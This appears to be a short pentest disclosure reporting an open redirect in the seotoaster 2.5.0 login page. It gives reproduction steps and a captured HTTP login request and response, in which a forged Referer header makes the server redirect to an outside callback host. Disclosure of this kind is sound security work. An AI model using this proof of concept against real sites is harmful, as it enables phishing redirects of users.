Friday Fun Pentest Series - 37 - Open Redirect "Login Page" Functionality - seotoasterv2.5.0

Description

- It was noted that the application was vulnerable to Open Redirect in the "Login Page"

Open Redirect "Login Page" Functionality 1#

Steps to Reproduce:

1. Login to the application and then add the Referer header to attacker domain

// HTTP POST Request

POST /seotoaster/go HTTP/1.1

Host: 192.168.58.149

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0

[...]

email=admin%40example.com&password=Pasw0rd%21&submit=Let+me+in&secureToken=f3a4d32c75942f7f284ae9189e21d431

// HTTP Response

HTTP/1.1 301 Moved Permanently

Date: Sun, 20 Jul 2025 13:55:07 GMT

Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3

X-Powered-By: PHP/5.6.40

X-Frame-Options: SAMEORIGIN

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Location: http://lzoujc24ovcp1k9ky066bcmas1ysmuaj.oastify.com

[...]